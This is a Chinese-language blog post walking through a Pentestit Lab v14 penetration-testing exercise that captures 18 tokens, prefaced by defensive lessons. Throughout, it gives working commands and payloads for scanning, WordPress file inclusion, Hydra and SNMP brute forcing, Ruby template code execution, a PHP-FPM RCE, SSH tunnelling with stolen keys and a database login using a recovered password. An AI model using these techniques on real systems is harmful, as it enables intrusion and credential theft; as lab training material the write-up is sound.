freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

亮剑之Pentestit-Lab-v14
whoami_cat 2025-01-26 16:45:10 155598

前言:

这个是2020 年打的一个靶机,最近偶然看到,做了一些思考,这个虽然只是一个靶场场景,但类似的攻防模式在攻防演练中并不少见:通过单点突破扩展到全局,最终攻破立体化架构。可以看到,本次攻击流程清晰验证了纵深防御体系的脆弱性:攻击者利用未修复的 WordPress 插件漏洞实现初始突破,通过弱口令和配置缺陷完成 5 次网络层跨越,最终凭借开发环境与生产系统的直连漏洞获取核心数据。整个过程暴露出多处致命隐患,形成多米诺骨牌效应,使单点突破轻松瓦解整个防御体系。所以说,甲方企业在安全建设中,不能止步于边界防护,更应建立持续漏洞修复机制、动态访问控制体系和严格的配置基线管理。正如 NIST 网络安全框架所指出的:“真正的防御弹性不在于阻断所有攻击,而在于破坏攻击链的必然性。”本次靶机场景也充分证明,当企业安全能力从“单点加固”进化为“链式防御”,攻击者的突破成本将呈指数级上升,而这正是现代甲方安全体系建设的核心价值所在。

二营长,意大利炮呢?

Pentestit-Lab是一个与Offensive Security的实验室类似的在线渗透测试虚拟实验室。这个实验环境中包含12个系统,分别有各种各样的漏洞和配置错误。在每个系统上都有一个token,我们需要找到它并将其上传,用于验证攻破该系统。
官网:https://lab.pentestit.ru/

核心攻击路径

本套靶场涉及到的面很多,这里总结一下核心攻击路径,帮助大家扩展攻击思考:

  1. 信息收集

    • 使用Nmap全网段扫描定位存活主机

    • WPScan识别 WordPress 插件漏洞

    • Hydra爆破 IMAP 邮件服务

  2. 漏洞利用

    • WordPress 插件文件包含漏洞

    • Ruby on Rails 日志污染漏洞

    • PHP-FPM 远程代码执行

  3. 横向移动

    • 虚拟专网配置文件获取内网权限

    • SSH 隧道穿透多层网络边界

    • SNMP 弱口令渗透网络设备

  4. 权限提升

    • 硬编码密钥逆向分析

    • SSH 私钥复用攻击

    • 数据库凭证提取

最终成果:共获取 18 个 Token,完整验证从外网到核心内网的渗透路径。

开炮、开炮、开炮!

首先打开靶机,可以看到给了两个ip
image.png

先扫描整个b段

nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oX nmap_output.xml ip/16 探测整个b段

可以发现这么多主机
192.168.101.14/15
192.168.109.1
192.168.109.2/133/254
192.168.111.21/20/31/30
192.168.114.15/16/17
192.168.190.1
192.168.255.250
然后在针对各ip进行端口服务探测,这里先探测101.14
image.png
根据端口判断存在web页面,80为一个wordpress站点(看源码),8080为一个邮件系统,并且开启143邮件服务,目前思路可以尝试wordress相关漏洞以及通过143邮件服务爆破密码(收集用户名)。
image.png
首先对80端口进行测试,看源码发现为wordpress,并且存在xmlrpc.php页面,我们就可以xmlrpc.php提供的接口尝试猜解用户的密码,可以绕过wordpress对暴力破解的限制,随便跑了跑,并没有跑出账号密码。

<?xml version="1.0" encoding="iso-8859-1"?> 
<methodCall> 
  <methodName>wp.getUsersBlogs</methodName> 
  <params> 
   <param><value>amdin</value></param> 
   <param><value>123456</value></param> 
  </params> 
</methodCall>

image.png
然后利用wpscan开始扫描漏洞以及枚举插件
wpscan --url http://site.test.lab --random-user-agent -e p
image.png
发现该存在该插件,有sql注入以及文件包含,可以测测是否存在
测试包含本地文件:http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
image.png
获取第一个token
image.png
通过收集一共发现四个邮件,由于8080为邮件登录,而143存在imap邮件服务,即可爆破

hydra imap://192.168.101.14 -L 1.test  -P my/1wpass.txt  -f –v –t 10

image.png
邮件发现第二个token。
image.png
然后继续信息收集,下载了四个软件
image.png
解压第四个压缩包,并启动
image.png
然后发现多了个网卡,然后继续查看刚才下载的那几个包,
有个jar文件,执行之后并无果
image.png
然后反编译看看代码,获取第三个token。
image.png
由于之前挂着代理,可以直接连接该ip,连接之前需要把sshpass,生成一下。
image.png
image.png
ssh dev@172.16.20.2然后连接成功发现第四个token
image.png
利用ssh+sockets,即可访问到172.16.0.12
image.png
通过页面代码,可以判断为ruby on rails,ruby有几个漏洞,我们可以利用日志污染的手法,从文件包含到代码执行,但是运气好的是,他直接页面就返回数据了,那我们就可以直接构造ruby语句 <%=%x|id|%>
image.png
最终获取第五token
image.png
然后继续在172.16.20.2主机信息收集一下,看看是否有信息,发现crt 和key 即可继续连接,获取另外一个网段
image.png
利用openvpn –-config 修改为14(第一个代理为15,另外一个就是14),并加入dev key以及cert,如果不加入,无法连接
image.png
加入之后连接即可
image.png
这个是另外一个14内网,挂着该代理扫描整个b段,或者由下面dns域传输泄露的ip,即可判断可以探测哪个内网,可以初步172.16.0.0/24、172.16.50.1/24、172.16.40.0/24三个内网段。
先扫描172.16.整个b段吧
image.png
image.png
发现172.16.50.11等等几个开启80,然后扫描目录发现第六个token
image.png
然后继续探测,发现50.50开启161端口,即snmp,
image.png
首先尝试public弱口令,无果
image.png
然后利用scanner/snmp/snmp_login尝试爆破
image.png
然后利用snmpwalk查询,获取第七token
image.png
由于发现很多主机开启ssh,尝试爆破利用之前收集账号密码进行撞库以及常用账号弱口令。最终发现172.16.60.2-5都存在弱口令1234qwer,分别连进ssh sidorov@172.16.60.4服务器,进行信息收集(注意隐藏文件)。
image.png
发现第八个token,继续信息收集,在scripts中然后发现了dump,cat一下发现有东西,,
image.png

查看文件类型file,然后寻找tcpdump使用./tcpdump -r /opt/dump –A -n port 80,发现第九个token
image.png
以及密钥
image.png
利用密钥尝试登录开启22端口的ip
image.png
修改权限600登录-i私钥登录即可
image.png
这里发现第十个token
image.png
然后继续信息收集,根据域传输漏洞发现172.16.40.3为admin.test.lab,扫描无果,可能在40.2才能访问,所以挂个ssh+sockets5代理转发,ssh -fN -D 1080 -i id_rsa sidorov@172.16.40.2,然后设置socket5转发即可,访问172.16.40.3
image.png
然后发现端口9000,想到PHP-FPM远程命令执行,
image.png
proxychains python fpm.py 172.16.40.3 /usr/local/lib/php/PEAR.php -c ""即可获取第十一token
image.png
然后继续往里走,根据dns域传输的路由表,挂ssh
ssh -L 7777:localhost:6666 root@192.168.1.242,将本机的 7777 端口转发到目标机器 192.168.1.242 的6666上。
ssh -L 9000:172.16.40.6:22 -i id_rsa sidorov@172.16.40.2
ssh -L 9200:172.16.40.7:9200 -i id_rsa sidorov@localhost –p 9000
然后即可访问到,然后爆破弱口令登录即可拿到token
image.png
另外一个
ssh -L 9000:172.16.40.6:22 -i id_rsa sidorov@172.16.40.2
ssh -L 2222:172.16.40.4:22 -i id_rsa sidorov@localhost –p 9000
ssh -i id_rsa sidorov@localhost –2 2222
里面有个resevr,反编译即可拿到token
继续查看dns域传输的路由表,发现172.16.0.21为git.test.lab,即192.168.101.15
image.png
然后登录即可拿到第十二个token
image.png
然后发现python文件
image.png
下载然后,修改一下逻辑,随便输入密码即可输出token,
image.png
运行即可拿到,第十三个key
image.png
然后访问50.21端口,发现该页面
image.png
把之前邮件收集账号密码以及常见用户进行爆破,发现之前Dev账号密码可登录
image.png
发现里面没有什么搞的,没有敏感信息,搜索框也没有注入,然后利用bfac,扫描泄露Web应用程序源代码
image.png
下载下来简单审计一下,发现可以执行cmd,然后还有DB.php
image.png
然后find –name .token找到十四个token
image.png
然后cat 查看db.php
image.png
进而连接数据库,查找token即可

mysql -h 172.16.40.5 -P3306 -u php-site -p'fqafG32rGpwvbcsof' -se "show databases;"

image.png
然后找到第十五个token

mysql -h 172.16.40.5 -P3306 -u php-site -p'fqafG32rGpwvbcsof' -se "select * from php.other;"

这个网段没什么搞得了,然后挂着另外一台代理,扫描整理172.16b段,判断存活主机
nmap -Pn -p 1-1000 --min-hostgroup 1024 --min-parallelism 1024 172.16.0.1/16 -oG nmap.txt
image.png
发现80端口,怎能轻易放过,只不过访问为nginx页面,扫描目录dirb http://172.16.0.11/ -a "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
,即出现第十六个token
image.png
然后发现53端口,判断是否存在dns域传输漏洞,
image.png
利用dig axfr @ip 域名以及nmap脚本都可
image.png
找到第十七个token
然后172.16.0.20存在445,尝试有没有ms17-010,以及进行一些smb用户以及密码爆破
利用enum4linux ip 做所有简单枚举 enum4linux
image.png
找到第十八个token
image.png

# 渗透测试 # web安全 # 攻防演练 # 内网安全攻防 # 靶场实战
本文为 whoami_cat 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
whoami_cat LV.1
这家伙太懒了,还未填写个人描述!
  • 6 文章数
  • 3 关注者
探秘 Web 认证机制:从基础到 JWT攻防实战
2025-01-21
甲方视角下的供应链安全思考
2025-01-20
我是谁:没有不好玩的CTF
2020-12-15
文章目录